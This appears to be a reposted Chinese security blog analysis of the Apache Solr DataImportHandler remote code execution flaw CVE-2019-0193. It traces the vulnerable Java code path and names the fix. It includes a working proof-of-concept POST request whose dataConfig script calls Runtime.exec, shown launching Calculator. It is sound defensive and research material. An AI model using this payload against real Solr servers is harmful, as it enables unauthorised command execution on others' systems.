漏洞分析 - Apache Solr远程代码执行漏洞(CVE-2019-0193)
2019-08-14 08:35:00 Author: xz.aliyun.com(查看原文) 阅读量:129 收藏

简介

Apache Solr一个基于Lucene的企业级全文搜索引擎。

用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

漏洞信息

8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警。

此漏洞位于Apache Solr的可选模块DataImportHandler模块中。

模块介绍:
DataImportHandler模块
虽然是一个可选模块,但是它常常被使用。
该模块的作用:从数据源(数据库或RSS、文件等其他源)中提取数据。

  • 该模块的配置信息 "DIH配置"(DIH configuration) 可使用以下的方式指定:
    • Server端 - 通过Server的“配置文件“来指定配置信息"DIH配置"
    • web请求 - 使用web请求中的dataConfig参数(该参数用户可控)来指定配置信息"DIH配置"(整个DIH配置可以来自请求的“dataConfig”参数)

漏洞描述:使用Apache Solr的DataImportHandler模块,支持使用web请求来指定配置信息"DIH配置" ("DIH配置"中可以包含脚本内容,本来是为了对数据进行转换),攻击者可通过构造HTTP请求中dataConfig参数的值,使配置信息包含脚本内容,Web后端处理该请求时,会使用“脚本转换器“(ScriptTransformer)对“脚本“进行解析,而Web后端未对脚本内容做任何限制(可以导入并使用任意的Java类,如执行命令的类),导致可以执行任意代码。

又因为Solr的web管理界面 Solr Admin UI,默认无任何认证,并且该模块的DIH admin界面的debug模式(本来是为了方便对"DIH配置"进行调试或开发),可以直接以web形式接受dataConfig参数。方便利用。

影响范围:
Apache Solr < 8.2.0 默认开启DataImportHandler模块,存在该漏洞。
因为从Solr>=8.2.0版开始,默认不可使用dataConfig参数,想使用此参数需要将Java System属性“enable.dih.dataConfigParam”设置为true。所以当Solr>=8.2.0但是将Java System属性“enable.dih.dataConfigParam”设置为true,也是存在漏洞。

修复方案:
升级版本,Solr>=8.2.0默认情况下不存在该漏洞。

参考自 https://issues.apache.org/jira/browse/SOLR-13669

基础概念

基础概念 - DIH概念和术语

  • 数据导入处理程序(the Data Import Handler,DIH)常用术语
    • Datasource - 数据源定义了感兴趣的数据(即将导入solr的数据)的位置
      • 对于数据库,它是一个DSN(Data Source Name)
      • 对于HTTP数据源,它是base URL
    • Entity - 实体
      • Conceptually, an entity is processed to generate a set of documents, containing multiple fields, which (after optionally being transformed in various ways) are sent to Solr for indexing. For a RDBMS data source, an entity is a view or table, which would be processed by one or more SQL statements to generate a set of rows (documents) with one or more columns (fields).
      • 从概念上讲,“实体“被处理是为了生成一组文档(a set of documents),包含多个字段fields),这些字段(可以用各种方式转换之后)发送到Solr进行索引。对于RDBMS(关系型数据库)数据源,实体是一个视图(view)或表(table),它们将被一个或多个SQL语句处理,从而生成一组行(文档),这些行(文档),具有一个或多个列(字段)。
    • Processor - 实体处理器
      • An entity processor does the work of extracting content from a data source, transforming it, and adding it to the index. Custom entity processors can be written to extend or replace the ones supplied.
      • 实体处理器从"数据源"中提取内容,转换数据并将其添加到索引中。可以编写"自定义实体处理器"(Custom entity processors)来扩展或替换已提供的处理器。
    • Transformer - 转换器
      • Each set of fields fetched by the entity may optionally be transformed. This process can modify the fields, create new fields, or generate multiple rows/documents form a single row.
      • 实体获取的每一组字段,都可以有选择地被转换。此过程可以修改字段(fields)、创建新字段、或从单单一行(a single row)生成多个rows/documents。
      • There are several built-in transformers in the DIH, which perform functions such as modifying dates and stripping HTML. It is possible to write custom transformers using the publicly available interface.
      • DIH中有几个内置转换器,它们执行诸如修改日期(modifying dates)和剥离HTML(stripping HTML)等函数。可以使用"public的接口"编写自定义转换器。

基础概念 - dataconfig需要符合的语法

solr支持从Dataimport导入自定义数据,dataconfig需要满足一定语法,参考
https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html
https://cwiki.apache.org/confluence/display/solr/DataImportHandler

其中ScriptTransformer可以编写自定义脚本(scripts),支持Javascript、JRuby、Jython、Groovy、BeanShell

ScriptTransformer容许用脚本语言转换,函数应当以“行“(数据类型为Map<String,Object>)为参数,可以修改字段。

“脚本内容“写在数据仓库配置文件中的<script>脚本内容</script>之内

“转换器“属性值 transformer = script:函数名

如下 entry元素中的“转换器“属性值transformer="script:f2c"

使用示例:

<dataconfig>
  <script><![CDATA[
    function f2c(row) {
      var tempf, tempc;
      tempf = row.get('temp_f');
      if (tempf != null) {
        tempc = (tempf - 32.0)*5.0/9.0;
        row.put('temp_c', temp_c);
      }
      return row;
    }
    ]]>
  </script>
  <document>

    <entity name="e1" pk="id" transformer="script:f2c" query="select * from X">
    </entity>
  </document>
</dataConfig>

基础概念 - Nashorn引擎

  • 在Solr的Java环境中使用了Nashorn引擎,它的作用
    • 1.实现Java环境解析Javascript脚本
    • 2.在Nashorn引擎的支持下,JavaScript脚本可以使用Java中的东西。

如下,JavaScript脚本中可以使用Java.typeAPI方法,实现在JavaScript中引用Java中的类 (像Java中的import一样),并在JavaScript脚本中使用该Java类中的Java方法

var MyJavaClass = Java.type(`my.package.MyJavaClass`);

var result = MyJavaClass.sayHello('Nashorn');
print(result);

环境搭建

macOS环境

使用Solr 8.1.1二进制版,下载地址 https://archive.apache.org/dist/lucene/solr/8.1.1/solr-8.1.1.zip

使用Solr的example-DIH 路径在example-DIH/solr/ 它自带了一些可用的索引库: atom, db, mail, solr, tika

启动Solr开始动态调试。

PoC

这里我使用了Solr example程序自带的tika这个索引库(Solr中叫core),并在http://solr.com:8983/solr/#/tika/dataimport/dataimport 填写了dataConfig信息,勾选Debug,点击Execute

抓到的请求中dataConfig本来是URL编码的,其实直接原始数据就可以,PoC如下:

POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 585
Connection: close

command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

漏洞分析

在Web浏览器中启动Solr的web管理界面 Solr Admin UI,默认无任何认证,直接访问 http://127.0.0.1:8983/solr/
看到Solr正在运行

路由分析:Web后端收到URL为 /solr/xxx_core_name/dataimport 的 HTTP请求时,会将HTTP请求实参req传入DataImportHandler类的handleRequestBody方法。

文件位置:/solr-8.1.1/dist/solr-dataimporthandler-8.1.1.jar!/org/apache/solr/handler/dataimport/DataImportHandler.class
关键的类:org.apache.solr.handler.dataimport.DataImportHandler

按command+F12查看 DataImportHandler类的方法 和 成员变量

图a

关键方法:很容易发现,DataImportHandler类的handleRequestBody方法是用于接受HTTP请求的。
在该方法下断点,以便跟踪输入的数据是如何被处理的。(函数体过长 我折叠了部分逻辑)

图0

执行逻辑:从PoC中可见,HTTP请求中的command参数的值为full-import,根据handleRequestBody方法体中的if-else分支判断逻辑可知,会调用maybeReloadConfiguration方法(功能是重新加载配置)。

关键方法:maybeReloadConfiguration方法
关键语句:this.importer.maybeReloadConfiguration(requestParams, defaultParams);

图1

跟进(Step into)关键方法 maybeReloadConfiguration 方法

图2

关键语句:String dataConfigText = params.getDataConfig();//获取HTTP请求中POST body中的参数dataConfig的值
执行逻辑:maybeReloadConfiguration方法体中,会获取HTTP请求中POST body中的参数dataConfig的值,即“DataConfig配置信息“,如果该值不为空则该值传递给loadDataConfig方法(功能是加载DataConfig配置信息)

本次调试过程中的"DataConfig配置信息":

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

跟进(Step into)关键方法 loadDataConfig方法

图3

执行逻辑:loadDataConfig方法的具体实现中,调用了readFromXml方法,从xml数据中读取信息。
关键语句:dihcfg = this.readFromXml(document);

跟进(Step into)关键方法 readFromXml方法

readFromXml方法体

关键语句:return new DIHConfiguration((Element)documentTags.get(0), this, functions, script, dataSources, pw);

执行逻辑:readFromXml方法的具体实现中,根据各种不同名称的标签(如document,script,function,dataSource等),得到了配置数据中的元素。如,配置信息中的自定义脚本在此处被赋值给名为scriptScript类型的变量中。使用“迭代器“递归解析完所有标签后,new一个DIHConfiguration对象(传入的6个实参中有个是script变量),这个DIHConfiguration对象作为readFromXml方法的返回值,被return。

该DIHConfiguration对象,实际赋值给了(调用readFromXml方法的) loadDataConfig方法体中的名为dihcfg的变量。(见图3)

回溯:现在的情况是,之前在loadDataConfig方法体中调用了的readFromXml方法已经执行结束并返回了一个DIHConfiguration对象,赋值给了loadDataConfig方法体中的那个名为dihcfg的变量,loadDataConfig方法成功获取到配置信息。

回溯:现在的情况是,之前的maybeReloadConfiguration方法体中调用了的loadDataConfig方法执行结束,DataImporter类的maybeReloadConfiguration方法也得到它需要的boolean返回值,true(见图2)

DataImporter类 org.apache.solr.handler.dataimport.DataImporter

DataImporter类 包含的方法和变量,如图,重点关注的方法是:

maybeReloadConfiguration方法 - boolean maybeReloadConfiguration(RequestInfo params, NamedList<?> defaultParams)
doFullImport方法 - public void doFullImport(DIHWriter writer, RequestInfo requestParams) 
runCmd方法

DataImporter类 包含的方法和变量

回溯:现在的情况可参考图0,回到了DataImportHandler类的handleRequestBody方法体中,在该方法体中调用了的(DataImporter类中的)maybeReloadConfiguration方法已经执行结束,继续向下执行到关键语句this.importer.runCmd(requestParams, sw);调用了(DataImporter类中的)runCmd方法

跟进(Step into)关键方法 :(DataImporter类中的)runCmd方法

图4 - runCmd方法的方法体

跟进DataImporter类中的doFullImport方法体

doFullImport方法体

功能如下
首先创建一个DocBuilder对象。
DocBuilder对象的主要功能是从给定配置中创建Solr文档 该对象具有名为configDIHConfiguration类型的成员变量 见代码 private DIHConfiguration config;

然后调用该DocBuilder对象的execute()方法,作用是使用“迭代器“ this.config.getEntities().iterator();
,解析"DIH配置" 即名为configDIHConfiguration类型的成员变量,根据“属性名称“(如preImportDeleteQuery、postImportDeleteQuery、)获得Entity的所有属性。

最终得到是一个EntityProcessorWrapper对象。

简单介绍下DocBuilder类。
DocBuilder类 org.apache.solr.handler.dataimport.DocBuilder

DocBuilder类 包含的方法,如下图,重点关注:

execute()方法  -   public void execute()
doFullDump()方法  -   private void doFullDump()

DocBuilder类 包含的方法

简单介绍下EntityProcessorWrapper类。
EntityProcessorWrapper类 org.apache.solr.handler.dataimport.EntityProcessorWrapper

EntityProcessorWrapper是一个比较关键的类,继承自EntityProcessor,在整个解析过程中起到重要的作用。

EntityProcessorWrapper类的更多信息参考
https://lucene.apache.org/solr/8_1_1/solr-dataimporthandler/org/apache/solr/handler/dataimport/EntityProcessorWrapper.html

EntityProcessorWrapper类 包含的方法,如下图,重点的是:
loadTransformers()方法 - 作用:加载转换器

EntityProcessorWrapper类 包含的方法

在解析完config数据后,solr会把最后“更新时间“记录到配置文件中,这个时间是为了下次进行增量更新的时候用的。
接着通过this.dataImporter.getStatus()判断当前数据导入是“增量导入”即doDelta()方法,还是“全部导入”即doFullDump()方法。
本次调试中的操作是全部导入”,因此调用doFullDump()方法

execute方法中的doFullDump()方法

跟进DocBuilder类中的doFullDump方法体:

private void doFullDump() {
        this.addStatusMessage("Full Dump Started");
        this.buildDocument(this.getVariableResolver(), (DocBuilder.DocWrapper)null, (Map)null, this.currentEntityProcessorWrapper, true, (ContextImpl)null);
    }

可见,在doFullDump()方法体中,调用的是DocBuilder类中的buildDocument()方法。
作用是为发送的配置数据的每一个Processor做解析(调用getVariableResolver()方法),当发送的entity中含有Transformers时,会进行相应的转换操作。

例如 DateFormatTransformer 转换成日期格式
例如 RegexTransformer 根据正则表达式转换
例如 ScriptTransformer 根据用户自定义的脚本进行数据转换(漏洞关键:脚本内容完全用户可控!!)
等等

具体如何执行JavaScript脚本?继续跟进,DocBuilder类中的buildDocument()方法。

private void buildDocument(VariableResolver vr, DocBuilder.DocWrapper doc, Map<String, Object> pk, EntityProcessorWrapper epw, boolean isRoot, ContextImpl parentCtx, List<EntityProcessorWrapper> entitiesToDestroy) {
        ContextImpl ctx = new ContextImpl(epw, vr, (DataSource)null, pk == null ? "FULL_DUMP" : "DELTA_DUMP", this.session, parentCtx, this);
        epw.init(ctx);
        if (!epw.isInitialized()) {
            entitiesToDestroy.add(epw);
            epw.setInitialized(true);
        }

        if (this.reqParams.getStart() > 0) {
            this.getDebugLogger().log(DIHLogLevels.DISABLE_LOGGING, (String)null, (Object)null);
        }

        if (this.verboseDebug) {
            this.getDebugLogger().log(DIHLogLevels.START_ENTITY, epw.getEntity().getName(), (Object)null);
        }

        int seenDocCount = 0;

        try {
            while(!this.stop.get()) {
                if (this.importStatistics.docCount.get() > (long)this.reqParams.getStart() + this.reqParams.getRows()) {
                    return;
                }

                try {
                    ++seenDocCount;
                    if (seenDocCount > this.reqParams.getStart()) {
                        this.getDebugLogger().log(DIHLogLevels.ENABLE_LOGGING, (String)null, (Object)null);
                    }

                    if (this.verboseDebug && epw.getEntity().isDocRoot()) {
                        this.getDebugLogger().log(DIHLogLevels.START_DOC, epw.getEntity().getName(), (Object)null);
                    }

                    if (doc == null && epw.getEntity().isDocRoot()) {
                        doc = new DocBuilder.DocWrapper();
                        ctx.setDoc(doc);

                        for(Entity e = epw.getEntity(); e.getParentEntity() != null; e = e.getParentEntity()) {
                            this.addFields(e.getParentEntity(), doc, (Map)vr.resolve(e.getParentEntity().getName()), vr);
                        }
                    }

                    Map<String, Object> arow = epw.nextRow();
                    if (arow == null) {
                        return;
                    }

                    if (epw.getEntity().isDocRoot()) {
                        if (seenDocCount <= this.reqParams.getStart()) {
                            continue;
                        }

                        if ((long)seenDocCount > (long)this.reqParams.getStart() + this.reqParams.getRows()) {
                            log.info("Indexing stopped at docCount = " + this.importStatistics.docCount);
                            return;
                        }
                    }

                    if (this.verboseDebug) {
                        this.getDebugLogger().log(DIHLogLevels.ENTITY_OUT, epw.getEntity().getName(), arow);
                    }

                    this.importStatistics.rowsCount.incrementAndGet();
                    DocBuilder.DocWrapper childDoc = null;
                    if (doc != null) {
                        if (epw.getEntity().isChild()) {
                            childDoc = new DocBuilder.DocWrapper();
                            this.handleSpecialCommands(arow, childDoc);
                            this.addFields(epw.getEntity(), childDoc, arow, vr);
                            doc.addChildDocument(childDoc);
                        } else {
                            this.handleSpecialCommands(arow, doc);
                            vr.addNamespace(epw.getEntity().getName(), arow);
                            this.addFields(epw.getEntity(), doc, arow, vr);
                            vr.removeNamespace(epw.getEntity().getName());
                        }
                    }

                    if (epw.getEntity().getChildren() != null) {
                        vr.addNamespace(epw.getEntity().getName(), arow);
                        Iterator var12 = epw.getChildren().iterator();

                        while(var12.hasNext()) {
                            EntityProcessorWrapper child = (EntityProcessorWrapper)var12.next();
                            if (childDoc != null) {
                                this.buildDocument(vr, childDoc, child.getEntity().isDocRoot() ? pk : null, child, false, ctx, entitiesToDestroy);
                            } else {
                                this.buildDocument(vr, doc, child.getEntity().isDocRoot() ? pk : null, child, false, ctx, entitiesToDestroy);
                            }
                        }

                        vr.removeNamespace(epw.getEntity().getName());
                    }

                    if (epw.getEntity().isDocRoot()) {
                        if (this.stop.get()) {
                            return;
                        }

                        if (!doc.isEmpty()) {
                            boolean result = this.writer.upload(doc);
                            if (this.reqParams.isDebug()) {
                                this.reqParams.getDebugInfo().debugDocuments.add(doc);
                            }

                            doc = null;
                            if (result) {
                                this.importStatistics.docCount.incrementAndGet();
                            } else {
                                this.importStatistics.failedDocCount.incrementAndGet();
                            }
                        }
                    }
                } catch (DataImportHandlerException var24) {
                    if (this.verboseDebug) {
                        this.getDebugLogger().log(DIHLogLevels.ENTITY_EXCEPTION, epw.getEntity().getName(), var24);
                    }

                    if (var24.getErrCode() != 301) {
                        if (!isRoot) {
                            throw var24;
                        }

                        if (var24.getErrCode() == 300) {
                            this.importStatistics.skipDocCount.getAndIncrement();
                            doc = null;
                        } else {
                            SolrException.log(log, "Exception while processing: " + epw.getEntity().getName() + " document : " + doc, var24);
                        }

                        if (var24.getErrCode() == 500) {
                            throw var24;
                        }
                    }
                } catch (Exception var25) {
                    if (this.verboseDebug) {
                        this.getDebugLogger().log(DIHLogLevels.ENTITY_EXCEPTION, epw.getEntity().getName(), var25);
                    }

                    throw new DataImportHandlerException(500, var25);
                } finally {
                    if (this.verboseDebug) {
                        this.getDebugLogger().log(DIHLogLevels.ROW_END, epw.getEntity().getName(), (Object)null);
                        if (epw.getEntity().isDocRoot()) {
                            this.getDebugLogger().log(DIHLogLevels.END_DOC, (String)null, (Object)null);
                        }
                    }

                }
            }

        } finally {
            if (this.verboseDebug) {
                this.getDebugLogger().log(DIHLogLevels.END_ENTITY, (String)null, (Object)null);
            }

        }
    }

可见方法体中,有一行语句是Map<String, Object> arow = epw.nextRow();,功能是“读取EntityProcessorWrapper的每一个元素“,该方法返回的是一个Map对象。

对该语句下断点,进入EntityProcessorWrapper类中的nextRow方法:

EntityProcessorWrapper类中的nextRow方法的方法体

可见,EntityProcessorWrapper类中的nextRow方法体中,调用了EntityProcessorWrapper类中的applyTransformer()方法。

继续跟进,EntityProcessorWrapper类中的applyTransformer()方法体:
功能
第1步.调用loadTransformers方法,作用是“加载转换器“
第2步.调用对应的Transformer的transformRow方法

applyTransformer()方法体

applyTransformer()方法体,代码如下

protected Map<String, Object> applyTransformer(Map<String, Object> row) {
        if (row == null) {
            return null;
        } else {
            if (this.transformers == null) {
                this.loadTransformers();
            }

            if (this.transformers == Collections.EMPTY_LIST) {
                return row;
            } else {
                Map<String, Object> transformedRow = row;
                List<Map<String, Object>> rows = null;
                boolean stopTransform = this.checkStopTransform(row);
                VariableResolver resolver = this.context.getVariableResolver();
                Iterator var6 = this.transformers.iterator();

                while(var6.hasNext()) {
                    Transformer t = (Transformer)var6.next();
                    if (stopTransform) {
                        break;
                    }

                    try {
                        if (rows == null) {
                            resolver.addNamespace(this.entityName, transformedRow);
                            Object o = t.transformRow(transformedRow, this.context);
                            if (o == null) {
                                return null;
                            }

                            if (o instanceof Map) {
                                Map oMap = (Map)o;
                                stopTransform = this.checkStopTransform(oMap);
                                transformedRow = (Map)o;
                            } else if (o instanceof List) {
                                rows = (List)o;
                            } else {
                                log.error("Transformer must return Map<String, Object> or a List<Map<String, Object>>");
                            }
                        } else {
                            List<Map<String, Object>> tmpRows = new ArrayList();
                            Iterator var9 = ((List)rows).iterator();

                            while(var9.hasNext()) {
                                Map<String, Object> map = (Map)var9.next();
                                resolver.addNamespace(this.entityName, map);
                                Object o = t.transformRow(map, this.context);
                                if (o != null) {
                                    if (o instanceof Map) {
                                        Map oMap = (Map)o;
                                        stopTransform = this.checkStopTransform(oMap);
                                        tmpRows.add((Map)o);
                                    } else if (o instanceof List) {
                                        tmpRows.addAll((List)o);
                                    } else {
                                        log.error("Transformer must return Map<String, Object> or a List<Map<String, Object>>");
                                    }
                                }
                            }

                            rows = tmpRows;
                        }
                    } catch (Exception var13) {
                        log.warn("transformer threw error", var13);
                        if ("abort".equals(this.onError)) {
                            DataImportHandlerException.wrapAndThrow(500, var13);
                        } else if ("skip".equals(this.onError)) {
                            DataImportHandlerException.wrapAndThrow(300, var13);
                        }
                    }
                }

                if (rows == null) {
                    return transformedRow;
                } else {
                    this.rowcache = (List)rows;
                    return this.getFromRowCache();
                }
            }
        }
    }

第1步.
调用loadTransformers()方法。
查看loadTransformers()方法体,可见它的作用是“加载转换器“:
即如果transscript:开头,则new一个ScriptTransformer对象。

loadTransformers()方法的方法体

loadTransformers()方法体,代码如下

void loadTransformers() {
        String transClasses = this.context.getEntityAttribute("transformer");
        if (transClasses == null) {
            this.transformers = Collections.EMPTY_LIST;
        } else {
            String[] transArr = transClasses.split(",");
            this.transformers = new ArrayList<Transformer>() {
                public boolean add(Transformer transformer) {
                    if (EntityProcessorWrapper.this.docBuilder != null && EntityProcessorWrapper.this.docBuilder.verboseDebug) {
                        transformer = EntityProcessorWrapper.this.docBuilder.getDebugLogger().wrapTransformer(transformer);
                    }

                    return super.add(transformer);
                }
            };
            String[] var3 = transArr;
            int var4 = transArr.length;

            for(int var5 = 0; var5 < var4; ++var5) {
                String aTransArr = var3[var5];
                String trans = aTransArr.trim();
                if (trans.startsWith("script:")) {
                    this.checkIfTrusted(trans);
                    String functionName = trans.substring("script:".length());
                    ScriptTransformer scriptTransformer = new ScriptTransformer();
                    scriptTransformer.setFunctionName(functionName);
                    this.transformers.add(scriptTransformer);
                } else {
                    try {
                        Class clazz = DocBuilder.loadClass(trans, this.context.getSolrCore());
                        if (Transformer.class.isAssignableFrom(clazz)) {
                            this.transformers.add((Transformer)clazz.newInstance());
                        } else {
                            Method meth = clazz.getMethod("transformRow", Map.class);
                            this.transformers.add(new EntityProcessorWrapper.ReflectionTransformer(meth, clazz, trans));
                        }
                    } catch (NoSuchMethodException var10) {
                        String msg = "Transformer :" + trans + "does not implement Transformer interface or does not have a transformRow(Map<String.Object> m)method";
                        log.error(msg);
                        DataImportHandlerException.wrapAndThrow(500, var10, msg);
                    } catch (Exception var11) {
                        log.error("Unable to load Transformer: " + aTransArr, var11);
                        DataImportHandlerException.wrapAndThrow(500, var11, "Unable to load Transformer: " + trans);
                    }
                }
            }

        }
    }

第2步.调用对应的Transformer的transformRow方法

transformRow方法体的执行步骤:
第(1)步.初始化脚本引擎
第(2)步.使用invoke执行脚本

transformRow方法的方法体

transformRow方法体,代码如下

public Object transformRow(Map<String, Object> row, Context context) {
        try {
            if (this.engine == null) {
                this.initEngine(context);
            }

            return this.engine == null ? row : this.engine.invokeFunction(this.functionName, row, context);
        } catch (DataImportHandlerException var4) {
            throw var4;
        } catch (Exception var5) {
            DataImportHandlerException.wrapAndThrow(500, var5, "Error invoking script for entity " + context.getEntityAttribute("name"));
            return null;
        }
    }

第(1)步:
transformRow方法体中的语句this.initEngine(context);调用了initEngine方法(该方法只做初始化,并未执行JavaScript脚本)

调试过程中,可查看到initEngine方法中的名为scriptText的String类型的变量,值为:

function poc(){ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
          }

第(2)步:
调用Nashorn脚本引擎的invokeFunction方法,在Java环境中执行JavaScript脚本:

transformRow方法体中的语句this.engine.invokeFunction(this.functionName, row, context);

附:Nashorn脚本引擎的invokeFunction方法定义:

public Object invokeFunction(String name, Object... args) throws ScriptException, NoSuchMethodException {
        return this.invokeImpl((Object)null, name, args);
    }

总结

使用Apache Solr的DataImportHandler模块,支持使用web请求来指定配置信息"DIH配置" ,攻击者可在HTTP请求中指定dataConfig参数的值,使配置信息中包含“脚本“,Web后端处理该请求时,会使用“脚本转换器“(ScriptTransformer)对“脚本“进行解析,而Web后端未对脚本内容做任何限制(可以导入并使用任意的Java类,如执行命令的类),导致可以执行任意代码。


文章来源: http://xz.aliyun.com/t/5965
如有侵权请联系:admin#unsafe.sh